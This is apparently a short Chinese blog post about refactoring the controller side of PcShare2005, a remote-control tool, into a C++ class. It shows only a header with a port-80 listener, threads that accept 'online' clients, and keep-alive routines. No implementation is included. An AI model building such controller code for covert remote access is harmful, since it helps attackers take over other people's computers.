PcShare2005控制端修改

 

将一些全局函数合成了一个类,方便理解和管理

class CServerLogic
{
public:
CServerLogic();
virtual ~CServerLogic();

public:
BOOL StartWork(HWND hMainWnd, UINT uPort = 80);
void StopWork();

protected:
DWORD AcceptWait();
static DWORD __stdcall AcceptThread(LPVOID pThis);//上线监听线程

DWORD ClientWait(SOCKET sClient);
static DWORD __stdcall ClientThread(LPVOID pThis);//连接签到线程

void LoginTrans(SOCKET s, LPCLIENTITEM pClient);
void InterTrans(SOCKET s, LPCLIENTITEM pClient, int ExecType);
bool SendKeepAlive(SOCKET s);
BOOL CopySocket(HWND hWnd, SOCKET s, DWORD nInfo);

private:
HWND   m_hMainWnd;     //主窗口句柄
SOCKET m_AcceptSock;
UINT   m_ListenPort;   //监听端口

HANDLE m_hAcceptThread;//accept线程句柄

typedef struct
{
   CServerLogic* pLogic;
   SOCKET sClient;
}ThreadInput,*LPThreadInput;
};

PcShare也山寨

你可能感兴趣的:(PcShare2005控制端修改)